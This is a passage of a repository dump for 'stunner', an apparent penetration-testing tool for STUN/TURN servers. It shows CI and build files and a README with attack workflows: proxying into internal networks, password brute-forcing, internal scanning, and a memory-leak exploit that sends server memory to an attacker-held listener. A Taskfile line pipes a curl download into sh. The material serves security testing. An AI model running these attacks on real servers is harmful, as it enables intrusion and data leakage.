├── .devcontainer └── devcontainer.json ├── .github ├── dependabot.yml └── workflows │ ├── auto-merge-dependabot.yml │ ├── codeql.yml │ ├── docker.yml │ ├── go.yml │ ├── golangci-lint.yml │ ├── release.yml │ └── update.yml ├── .golangci.yml ├── .goreleaser.yaml ├── .idea ├── modules.xml ├── stunner.iml └── vcs.xml ├── Dockerfile ├── LICENSE ├── Readme.md ├── Taskfile.yml ├── go.mod ├── go.sum ├── internal ├── cmd │ ├── bruteforce.go │ ├── brutetransports.go │ ├── info.go │ ├── memoryleak.go │ ├── rangescan.go │ ├── socks.go │ ├── tcpscanner.go │ └── udpscanner.go ├── connection.go ├── helper │ ├── connection.go │ ├── helper.go │ ├── helper_test.go │ ├── iphelper.go │ └── resolver.go ├── helpers_string.go ├── helpers_stun.go ├── helpers_stun_test.go ├── helpers_turn.go ├── helpers_turn_test.go ├── helpers_turntcp.go ├── logger.go ├── parsers_stun.go ├── parsers_stun_test.go ├── parsers_turn.go ├── parsers_turn_test.go ├── requests_stun.go ├── requests_turn.go ├── requests_turntcp.go ├── socksimplementations │ └── socksturntcphandler.go ├── stun.go ├── types_stun.go ├── types_turn.go └── types_turntcp.go ├── main.go └── scripts ├── expressway_get_creds.py └── expressway_get_creds_new.py /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the 2 | // README at: https://github.com/devcontainers/templates/tree/main/src/go 3 | { 4 | "name": "Go", 5 | "image": "mcr.microsoft.com/devcontainers/go", 6 | "features": { 7 | "ghcr.io/guiyomh/features/golangci-lint:0": {}, 8 | "ghcr.io/devcontainers-contrib/features/go-task:1": {} 9 | }, 10 | "postCreateCommand": "go mod download", 11 | // Features to add to the dev container. More info: https://containers.dev/features. 12 | // "features": {}, 13 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 14 | // "forwardPorts": [], 15 | // Use 'postCreateCommand' to run commands after the container is created. 16 | // "postCreateCommand": "go version", 17 | // Configure tool-specific properties. 18 | "customizations": { 19 | "vscode": { 20 | "extensions": [ 21 | "golang.go", 22 | "shardulm94.trailing-spaces", 23 | "IBM.output-colorizer", 24 | "task.vscode-task", 25 | "github.vscode-github-actions", 26 | "redhat.vscode-yaml", 27 | "usernamehw.errorlens" 28 | ] 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | # To get started with Dependabot version updates, you'll need to specify which 2 | # package ecosystems to update and where the package manifests are located. 3 | # Please see the documentation for all configuration options: 4 | # https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates 5 | 6 | version: 2 7 | updates: 8 | - package-ecosystem: "gomod" 9 | directory: "/" 10 | schedule: 11 | interval: "weekly" 12 | 13 | - package-ecosystem: "github-actions" 14 | directory: "/" 15 | schedule: 16 | # Check for updates to GitHub Actions every weekday 17 | interval: "daily" 18 | 19 | - package-ecosystem: docker 20 | directory: "/" 21 | schedule: 22 | interval: "weekly" 23 | 24 | - package-ecosystem: "devcontainers" 25 | directory: "/" 26 | schedule: 27 | interval: "weekly" 28 | -------------------------------------------------------------------------------- /.github/workflows/auto-merge-dependabot.yml: -------------------------------------------------------------------------------- 1 | name: Auto-merge dependabot updates 2 | 3 | on: 4 | pull_request: 5 | branches: [main] 6 | 7 | permissions: 8 | pull-requests: write 9 | contents: write 10 | 11 | jobs: 12 | 13 | dependabot-merge: 14 | 15 | runs-on: ubuntu-latest 16 | 17 | if: ${{ github.actor == 'dependabot[bot]' }} 18 | 19 | steps: 20 | - name: Dependabot metadata 21 | id: metadata 22 | uses: dependabot/fetch-metadata@v2.4.0 23 | with: 24 | github-token: "${{ secrets.GITHUB_TOKEN }}" 25 | 26 | - name: Enable auto-merge for Dependabot PRs 27 | # Only if version bump is not a major version change 28 | if: ${{steps.metadata.outputs.update-type != 'version-update:semver-major'}} 29 | run: gh pr merge --auto --merge "$PR_URL" 30 | env: 31 | PR_URL: ${{github.event.pull_request.html_url}} 32 | GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} 33 | -------------------------------------------------------------------------------- /.github/workflows/codeql.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: [ main ] 17 | pull_request: 18 | # The branches below must be a subset of the branches above 19 | branches: [ main ] 20 | schedule: 21 | - cron: '22 8 * * 5' 22 | 23 | jobs: 24 | analyze: 25 | name: Analyze 26 | runs-on: ubuntu-latest 27 | permissions: 28 | actions: read 29 | contents: read 30 | security-events: write 31 | 32 | strategy: 33 | fail-fast: false 34 | matrix: 35 | language: [ 'go' ] 36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] 37 | # Learn more about CodeQL language support at https://git.io/codeql-language-support 38 | 39 | steps: 40 | - name: Checkout repository 41 | uses: actions/checkout@v4 42 | 43 | - uses: actions/setup-go@v5 44 | with: 45 | go-version: "stable" 46 | 47 | # Initializes the CodeQL tools for scanning. 48 | - name: Initialize CodeQL 49 | uses: github/codeql-action/init@v3 50 | with: 51 | languages: ${{ matrix.language }} 52 | # If you wish to specify custom queries, you can do so here or in a config file. 53 | # By default, queries listed here will override any specified in a config file. 54 | # Prefix the list here with "+" to use these queries and those in the config file. 55 | # queries: ./path/to/local/query, your-org/your-repo/queries@main 56 | 57 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). 58 | # If this step fails, then you should remove it and run the build manually (see below) 59 | - name: Autobuild 60 | uses: github/codeql-action/autobuild@v3 61 | 62 | # ℹ️ Command-line programs to run using the OS shell. 63 | # 📚 https://git.io/JvXDl 64 | 65 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines 66 | # and modify them (or add more) to build your code if your project 67 | # uses a compiled language 68 | 69 | #- run: | 70 | # make bootstrap 71 | # make release 72 | 73 | - name: Perform CodeQL Analysis 74 | uses: github/codeql-action/analyze@v3 75 | -------------------------------------------------------------------------------- /.github/workflows/docker.yml: -------------------------------------------------------------------------------- 1 | name: Build Docker Images 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | workflow_dispatch: 8 | schedule: 9 | - cron: "0 0 * * *" 10 | 11 | jobs: 12 | Dockerhub: 13 | timeout-minutes: 30 14 | runs-on: ubuntu-latest 15 | permissions: 16 | contents: read 17 | packages: write 18 | 19 | steps: 20 | - name: checkout sources 21 | uses: actions/checkout@v4 22 | 23 | - name: Set up QEMU 24 | uses: docker/setup-qemu-action@v3 25 | 26 | - name: Set up Docker Buildx 27 | uses: docker/setup-buildx-action@v3 28 | 29 | - name: Login to GitHub Container Registry 30 | uses: docker/login-action@v3 31 | with: 32 | registry: ghcr.io 33 | username: ${{ github.repository_owner }} 34 | password: ${{ secrets.GITHUB_TOKEN }} 35 | 36 | - name: Build and push 37 | uses: docker/build-push-action@v6 38 | with: 39 | push: true 40 | platforms: linux/amd64,linux/arm/v7,linux/arm64/v8,linux/386,linux/ppc64le 41 | tags: | 42 | ghcr.io/firefart/stunner:latest 43 | -------------------------------------------------------------------------------- /.github/workflows/go.yml: -------------------------------------------------------------------------------- 1 | name: Go 2 | on: [ push, pull_request ] 3 | jobs: 4 | build: 5 | name: Build 6 | timeout-minutes: 30 7 | runs-on: ubuntu-latest 8 | steps: 9 | - name: Check out code 10 | uses: actions/checkout@v4 11 | 12 | - name: Set up Go 13 | uses: actions/setup-go@v5 14 | with: 15 | go-version: "stable" 16 | 17 | - name: Install Task 18 | uses: arduino/setup-task@v2 19 | with: 20 | repo-token: ${{ secrets.GITHUB_TOKEN }} 21 | 22 | - name: Get dependencies 23 | run: | 24 | go get -v -t -d ./... 25 | 26 | - name: Build linux 27 | run: task linux 28 | 29 | - name: Build windows 30 | run: task windows 31 | 32 | - name: Test 33 | run: task test 34 | -------------------------------------------------------------------------------- /.github/workflows/golangci-lint.yml: -------------------------------------------------------------------------------- 1 | name: golangci-lint 2 | on: [ push, workflow_dispatch ] 3 | jobs: 4 | golangci: 5 | name: lint 6 | timeout-minutes: 30 7 | runs-on: ubuntu-latest 8 | steps: 9 | - uses: actions/checkout@v4 10 | 11 | - uses: actions/setup-go@v5 12 | with: 13 | go-version: "stable" 14 | 15 | - name: golangci-lint 16 | uses: golangci/golangci-lint-action@v8 17 | with: 18 | version: latest 19 | -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: goreleaser 2 | 3 | on: 4 | push: 5 | tags: 6 | - "*" 7 | 8 | permissions: 9 | contents: write 10 | 11 | jobs: 12 | goreleaser: 13 | runs-on: ubuntu-latest 14 | steps: 15 | - name: Checkout 16 | uses: actions/checkout@v4 17 | with: 18 | fetch-depth: 0 19 | 20 | - name: Fetch all tags 21 | run: git fetch --force --tags 22 | 23 | - name: Set up Go 24 | uses: actions/setup-go@v5 25 | with: 26 | go-version: "stable" 27 | 28 | - name: Run GoReleaser 29 | uses: goreleaser/goreleaser-action@v6.3.0 30 | with: 31 | distribution: goreleaser 32 | version: latest 33 | args: release --clean 34 | env: 35 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 36 | -------------------------------------------------------------------------------- /.github/workflows/update.yml: -------------------------------------------------------------------------------- 1 | name: Update 2 | 3 | on: 4 | workflow_dispatch: 5 | schedule: 6 | - cron: "0 12 * * *" 7 | 8 | jobs: 9 | update: 10 | timeout-minutes: 30 11 | runs-on: ubuntu-latest 12 | steps: 13 | - name: checkout 14 | uses: actions/checkout@v4 15 | with: 16 | token: ${{ secrets.PERSONAL_ACCESS_TOKEN_UPDATE }} 17 | 18 | - name: Set up Go 19 | uses: actions/setup-go@v5 20 | with: 21 | go-version: "stable" 22 | 23 | - name: Install Task 24 | uses: arduino/setup-task@v2 25 | with: 26 | repo-token: ${{ secrets.GITHUB_TOKEN }} 27 | 28 | - name: update 29 | run: | 30 | task update 31 | 32 | - name: setup git config 33 | run: | 34 | git config user.name "Github" 35 | git config user.email "<>" 36 | 37 | - name: commit changes 38 | # need to override the default shell so we can check 39 | # for error codes. Otherwise, it will always fail if 40 | # one command returns an error code other than 0 41 | shell: bash --noprofile --norc -o pipefail {0} 42 | run: | 43 | git diff-index --quiet HEAD -- 44 | exit_status=$? 45 | if [ $exit_status -eq 0 ]; then 46 | echo "nothing has changed" 47 | else 48 | git add go.mod go.sum 49 | git commit -m "auto update from github actions" 50 | git push origin main 51 | fi 52 | -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | version: "2" 2 | linters: 3 | enable: 4 | - nonamedreturns 5 | exclusions: 6 | generated: lax 7 | presets: 8 | - comments 9 | - common-false-positives 10 | - legacy 11 | - std-error-handling 12 | paths: 13 | - third_party$ 14 | - builtin$ 15 | - examples$ 16 | formatters: 17 | exclusions: 18 | generated: lax 19 | paths: 20 | - third_party$ 21 | - builtin$ 22 | - examples$ 23 | -------------------------------------------------------------------------------- /.goreleaser.yaml: -------------------------------------------------------------------------------- 1 | # This is an example .goreleaser.yml file with some sensible defaults. 2 | # Make sure to check the documentation at https://goreleaser.com 3 | 4 | # The lines below are called `modelines`. See `:help modeline` 5 | # Feel free to remove those if you don't want/need to use them. 6 | # yaml-language-server: $schema=https://goreleaser.com/static/schema.json 7 | # vim: set ts=2 sw=2 tw=0 fo=cnqoj 8 | 9 | version: 2 10 | 11 | before: 12 | hooks: 13 | # You may remove this if you don't use go modules. 14 | - go mod tidy 15 | # you may remove this if you don't need go generate 16 | - go generate ./... 17 | 18 | builds: 19 | - env: 20 | - CGO_ENABLED=0 21 | goos: 22 | - linux 23 | - windows 24 | - darwin 25 | 26 | archives: 27 | - format: tar.gz 28 | # this name template makes the OS and Arch compatible with the results of `uname`. 29 | name_template: >- 30 | {{ .ProjectName }}_ 31 | {{- title .Os }}_ 32 | {{- if eq .Arch "amd64" }}x86_64 33 | {{- else if eq .Arch "386" }}i386 34 | {{- else }}{{ .Arch }}{{ end }} 35 | {{- if .Arm }}v{{ .Arm }}{{ end }} 36 | # use zip for windows archives 37 | format_overrides: 38 | - goos: windows 39 | format: zip 40 | 41 | changelog: 42 | sort: asc 43 | filters: 44 | exclude: 45 | - "^docs:" 46 | - "^test:" 47 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/stunner.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:latest AS build-env 2 | WORKDIR /src 3 | ENV CGO_ENABLED=0 4 | COPY go.mod /src/ 5 | RUN go mod download 6 | COPY . . 7 | RUN go build -a -o stunner -ldflags="-s -w" -gcflags="all=-trimpath=/src" -asmflags="all=-trimpath=/src" 8 | 9 | FROM alpine:latest 10 | 11 | RUN apk add --no-cache ca-certificates \ 12 | && rm -rf /var/cache/* 13 | 14 | RUN mkdir -p /app \ 15 | && adduser -D stunner \ 16 | && chown -R stunner:stunner /app 17 | 18 | USER stunner 19 | WORKDIR /app 20 | 21 | COPY --from=build-env /src/stunner . 22 | 23 | ENTRYPOINT [ "./stunner" ] 24 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA. -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # STUNNER 2 | 3 | Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers. 4 | TURN is a protocol mostly used in videoconferencing and audio chats (WebRTC). 5 | 6 | If you find a misconfigured server you can use this tool to open a local socks proxy that relays all traffic via the 7 | TURN protocol into the internal network behind the server. 8 | 9 | I developed this tool during a test of Cisco Expressway which resulted in some 10 | vulnerabilities: [https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/](https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/) 11 | 12 | To get the required username and password you need to fetch them using an out-of-band method like sniffing the Connect 13 | request from a web browser with Burp. I added an [example workflow](#example-workflow) at the bottom of the readme on 14 | how you would test such a server. 15 | 16 | # LICENSE 17 | 18 | This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view 19 | a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO 20 | Box 1866, Mountain View, CA 94042, USA. 21 | 22 | # implemented RFCs 23 | 24 | STUN: [RFC 5389](https://datatracker.ietf.org/doc/html/rfc5389) 25 | 26 | TURN: [RFC 5766](https://datatracker.ietf.org/doc/html/rfc5766) 27 | 28 | TURN for TCP: [RFC 6062](https://datatracker.ietf.org/doc/html/rfc6062) 29 | 30 | TURN Extension for IPv6: [RFC 6156](https://datatracker.ietf.org/doc/html/rfc6156) 31 | 32 | # Available Commands 33 | 34 | ## info 35 | 36 | This command will print some info about the stun or turn server like supported protocols and attributes like the used 37 | software. 38 | 39 | ### Options 40 | 41 | ```text 42 | --debug, -d enable debug output (default: false) 43 | --turnserver value, -s value turn server to connect to in the format host:port 44 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false) 45 | --timeout value connect timeout to turn server (default: 1s) 46 | --help, -h show help (default: false) 47 | ``` 48 | 49 | ### Example 50 | 51 | ```bash 52 | ./stunner info -s x.x.x.x:443 53 | ``` 54 | 55 | ## range-scan 56 | 57 | This command tries several private and restricted ranges to see if the TURN server is configured to allow connections to 58 | the specified IP addresses. If a specific range is not prohibited you can enumerate this range further with the other 59 | provided commands. If an ip is reachable it means the TURN server will forward traffic to this IP. 60 | 61 | ### Options 62 | 63 | ```text 64 | --debug, -d enable debug output (default: false) 65 | --turnserver value, -s value turn server to connect to in the format host:port 66 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false) 67 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") 68 | --timeout value connect timeout to turn server (default: 1s) 69 | --username value, -u value username for the turn server 70 | --password value, -p value password for the turn server 71 | --help, -h show help (default: false) 72 | ``` 73 | 74 | ### Example 75 | 76 | TCP based TURN connection (connection from you the TURN server): 77 | 78 | ```bash 79 | ./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp 80 | ``` 81 | 82 | UDP based TURN connection (connection from you the TURN server): 83 | 84 | ```bash 85 | ./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp 86 | ``` 87 | 88 | ## socks 89 | 90 | This is one of the most useful commands for TURN servers that support TCP connections to backend servers. It will launch 91 | a local socks5 server with no authentication and will relay all TCP traffic over the TURN protocol (UDP via SOCKS is 92 | currently not supported). If the server is misconfuigured it will forward the traffic to internal adresses so this can 93 | be used to reach internal systems and abuse the server as a proxy into the internal network. If you choose to also do 94 | DNS lookups over socks, it will be resolved using your local nameserver so it's best to work with private IPv4 and IPv6 95 | addresses. Please be aware that this module can only relay TCP traffic. 96 | 97 | ### Options 98 | 99 | ```text 100 | --debug, -d enable debug output (default: false) 101 | --turnserver value, -s value turn server to connect to in the format host:port 102 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false) 103 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") 104 | --timeout value connect timeout to turn server (default: 1s) 105 | --username value, -u value username for the turn server 106 | --password value, -p value password for the turn server 107 | --listen value, -l value Address and port to listen on (default: "127.0.0.1:1080") 108 | --drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true) 109 | --help, -h show help (default: false) 110 | ``` 111 | 112 | ### Example 113 | 114 | ```bash 115 | ./stunner socks -s x.x.x.x:3478 -u username -p password -x 116 | ``` 117 | 118 | After starting the proxy open your browser, point the proxy in your settings to socks5 with an ip of 127.0.0.1:1080 (be 119 | sure to not set the bypass local address option as we want to reach the remote local addresses) and call the IP of your 120 | choice in the browser. 121 | 122 | Example: https://127.0.0.1, https://127.0.0.1:8443 or https://[::1]:8443 (those will call the ports on the tested TURN 123 | server from the local interfaces). 124 | 125 | You can also configure `proxychains` to use this proxy (but it will be very slow as each request results in multiple 126 | requests to enable the proxying). Just edit `/etc/proxychains.conf` and enter the value `socks5 127.0.0.1 1080` under 127 | `ProxyList`. 128 | 129 | Example of nmap over this socks5 proxy with a correct configured proxychains (note it's -sT to do TCP syns otherwise it 130 | will not use the socks5 proxy) 131 | 132 | ```bash 133 | sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1 134 | ``` 135 | 136 | ## brute-transports 137 | 138 | This will most likely yield no useable information but can be useful to enumerate all available transports (=protocols 139 | to internal systems) supported by the server. This might show some custom protocol implementations but mostly will only 140 | return the defaults. 141 | 142 | ### Options 143 | 144 | ```text 145 | --debug, -d enable debug output (default: false) 146 | --turnserver value, -s value turn server to connect to in the format host:port 147 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false) 148 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") 149 | --timeout value connect timeout to turn server (default: 1s) 150 | --username value, -u value username for the turn server 151 | --password value, -p value password for the turn server 152 | --help, -h show help (default: false) 153 | ``` 154 | 155 | ### Example 156 | 157 | ```bash 158 | ./stunner brute-transports -s x.x.x.x:3478 -u username -p password 159 | ``` 160 | 161 | ## brute-password 162 | 163 | This command tries all passwords from a given file for a username via the TURN protocol (UDP). This can be useful when 164 | analysing a pcap where you can see the username but not the password. 165 | Please note that an offline bruteforce is much faster in this case. 166 | 167 | ### Options 168 | 169 | ```text 170 | --debug, -d enable debug output (default: false) 171 | --turnserver value, -s value turn server to connect to in the format host:port 172 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false) 173 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") 174 | --timeout value connect timeout to turn server (default: 1s) 175 | --username value, -u value username for the turn server 176 | --passfile value, -p value passwordfile to use for bruteforce 177 | --help, -h show help (default: false) 178 | ``` 179 | 180 | ### Example 181 | 182 | ```bash 183 | ./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt 184 | ``` 185 | 186 | ## memoryleak 187 | 188 | This attack works the following way: 189 | The server takes the data to send to `target` (must be a high port > 1024 in most cases) as a TLV (Type Length Value). 190 | This exploit uses a big length with a short value. If the server does not check the boundaries of the TLV, it might send 191 | you some memory up the `length` to the `target`. Cisco Expressway was confirmed vulnerable to this but according to 192 | cisco it only leaked memory of the current session. 193 | 194 | ### Options 195 | 196 | ```text 197 | --debug, -d enable debug output (default: false) 198 | --turnserver value, -s value turn server to connect to in the format host:port 199 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false) 200 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") 201 | --timeout value connect timeout to turn server (default: 1s) 202 | --username value, -u value username for the turn server 203 | --password value, -p value password for the turn server 204 | --target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control 205 | --size value Size of the buffer to leak (default: 35510) 206 | --help, -h show help (default: false) 207 | ``` 208 | 209 | ### Example 210 | 211 | To receive the data we need to set up a receiver on a server with a public ip. Normally firewalls are configured to only 212 | allow highports (>1024) from TURN servers so be sure to use a high port like 8080 in this example when connecting out to 213 | the internet. 214 | 215 | ```bash 216 | sudo nc -u -l -n -v -p 8080 | hexdump -C 217 | ``` 218 | 219 | then execute the following statement on your machine adding the public ip to the `t` parameter 220 | 221 | ```bash 222 | ./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password 223 | ``` 224 | 225 | If it works you should see big loads of memory coming in, otherwise you will only see short messages. 226 | 227 | ## udp-scanner 228 | 229 | If a TURN server allows UDP connections to internal targets this scanner can be used to scan all private ip ranges and send them 230 | SNMP and DNS requests. As this checks a lot of IPs this can take multiple days to complete so use with caution or 231 | specify smaller targets via the parameters. You need to supply an SNMP community string that will be tried and a domain 232 | name that will be resolved on each IP. For the domain name you can for example use burp collaborator. 233 | 234 | ### Options 235 | 236 | ```text 237 | --debug, -d enable debug output (default: false) 238 | --turnserver value, -s value turn server to connect to in the format host:port 239 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false) 240 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") 241 | --timeout value connect timeout to turn server (default: 1s) 242 | --username value, -u value username for the turn server 243 | --password value, -p value password for the turn server 244 | --community-string value SNMP community string to use for scanning (default: "public") 245 | --domain value domain name to resolve on internal DNS servers during scanning 246 | --ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs) 247 | --help, -h show help (default: false) 248 | ``` 249 | 250 | ### Example 251 | 252 | ```bash 253 | ./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public 254 | ``` 255 | 256 | ## tcp-scanner 257 | 258 | Same as `udp-scanner` but sends out HTTP requests to the specified ports (HTTPS is not supported) 259 | 260 | ### Options 261 | 262 | ```text 263 | --debug, -d enable debug output (default: false) 264 | --turnserver value, -s value turn server to connect to in the format host:port 265 | --tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false) 266 | --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") 267 | --timeout value connect timeout to turn server (default: 1s) 268 | --username value, -u value username for the turn server 269 | --password value, -p value password for the turn server 270 | --ports value Ports to check (default: "80,443,8080,8081") 271 | --ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs) 272 | --help, -h show help (default: false) 273 | ``` 274 | 275 | ### Example 276 | 277 | ```bash 278 | ./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 279 | ``` 280 | 281 | # Example workflow 282 | 283 | Let's say you find a service using WebRTC and want to test it. 284 | 285 | First step is to get the required data. I suggest to launch Wireshark in the background and just join a meeting via Burp 286 | to collect all HTTP and Websocket traffic. Next search your burp history for some keywords related to TURN like `3478`, 287 | `password`, `credential` and `username` (be sure to also check the websocket tab for these keywords). This might reveal 288 | the turn server and the protocol (UDP and TCP endpoints might have different ports) and the credentials used to connect. 289 | If you can't find the data in burp start looking at wireshark to identify the traffic. If it's on a nonstandard port ( 290 | anything else then 3478) decode the protocol in Wireshark via a right click as `STUN`. This should show you the username 291 | used to connect, and you can use this information to search burps history even further for the required data. Please note 292 | that Wireshark can't show you the password as the password is used to hash some package contents so it can not be 293 | reversed. 294 | 295 | Next step would be to issue the `info` command to the turn server using the correct port and protocol obtained from 296 | burp. 297 | 298 | If this works, the next step is a `range-scan`. If this allows any traffic to internal systems you can exploit this 299 | further but be aware that UDP has only limited use cases. 300 | 301 | If TCP connections to internal systems are allowed simply launch the `socks` command and access the allowed IPs via a 302 | browser and set the socks proxy to 127.0.0.1:1080. You can try out 127.0.0.1:443 and other ips to find management 303 | interfaces. 304 | -------------------------------------------------------------------------------- /Taskfile.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | vars: 4 | PROGRAM: stunner 5 | 6 | env: 7 | CGO_ENABLED: 0 8 | 9 | tasks: 10 | update: 11 | cmds: 12 | - go get -u 13 | - go mod tidy -v 14 | 15 | build: 16 | aliases: [ default ] 17 | cmds: 18 | - go fmt ./... 19 | - go vet ./... 20 | - go build -o {{.OUTPUT_FILE | default .PROGRAM}} 21 | env: 22 | GOOS: '{{.GOOS | default "linux"}}' 23 | GOARCH: '{{.GOARCH | default "amd64"}}' 24 | 25 | linux: 26 | cmds: 27 | - task: build 28 | vars: 29 | GOOS: linux 30 | GOARCH: amd64 31 | 32 | windows: 33 | cmds: 34 | - task: build 35 | vars: 36 | OUTPUT_FILE: "{{.PROGRAM}}.exe" 37 | GOOS: windows 38 | GOARCH: amd64 39 | 40 | test: 41 | env: 42 | CGO_ENABLED: 1 # required by -race 43 | cmds: 44 | - go test -race -cover ./... 45 | 46 | lint: 47 | cmds: 48 | - golangci-lint run ./... --timeout=30m 49 | - go mod tidy 50 | 51 | lint-update: 52 | cmds: 53 | - curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b {{ .GOPATH }}/bin 54 | - golangci-lint --version 55 | vars: 56 | GOPATH: 57 | sh: go env GOPATH 58 | 59 | tag: 60 | cmds: 61 | - git tag -a "${TAG}" -m "${TAG}" 62 | - git push origin "${TAG}" 63 | preconditions: 64 | - sh: '[[ -n "${TAG}" ]]' 65 | msg: "Please set the TAG environment variable" 66 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/firefart/stunner 2 | 3 | go 1.24 4 | 5 | require ( 6 | github.com/firefart/gosocks v0.4.2 7 | github.com/pion/dtls/v2 v2.2.12 8 | github.com/sirupsen/logrus v1.9.3 9 | github.com/urfave/cli/v2 v2.27.6 10 | ) 11 | 12 | require ( 13 | github.com/cpuguy83/go-md2man/v2 v2.0.7 // indirect 14 | github.com/pion/logging v0.2.3 // indirect 15 | github.com/pion/transport/v2 v2.2.10 // indirect 16 | github.com/pion/transport/v3 v3.0.5 // indirect 17 | github.com/russross/blackfriday/v2 v2.1.0 // indirect 18 | github.com/stretchr/testify v1.9.0 // indirect 19 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect 20 | golang.org/x/crypto v0.38.0 // indirect 21 | golang.org/x/net v0.40.0 // indirect 22 | golang.org/x/sys v0.33.0 // indirect 23 | ) 24 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/cpuguy83/go-md2man/v2 v2.0.7 h1:zbFlGlXEAKlwXpmvle3d8Oe3YnkKIK4xSRTd3sHPnBo= 2 | github.com/cpuguy83/go-md2man/v2 v2.0.7/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 5 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/firefart/gosocks v0.4.2 h1:HduMZGxEVsBFEHa57rNwqg8S8M878Pe2Og1TfQKaIR8= 7 | github.com/firefart/gosocks v0.4.2/go.mod h1:9k5AYic+qFxo1W9hxw3vFbRTBEVIT3nWepdFvqv0uc4= 8 | github.com/pion/dtls/v2 v2.2.12 h1:KP7H5/c1EiVAAKUmXyCzPiQe5+bCJrpOeKg/L05dunk= 9 | github.com/pion/dtls/v2 v2.2.12/go.mod h1:d9SYc9fch0CqK90mRk1dC7AkzzpwJj6u2GU3u+9pqFE= 10 | github.com/pion/logging v0.2.2/go.mod h1:k0/tDVsRCX2Mb2ZEmTqNa7CWsQPc+YYCB7Q+5pahoms= 11 | github.com/pion/logging v0.2.3 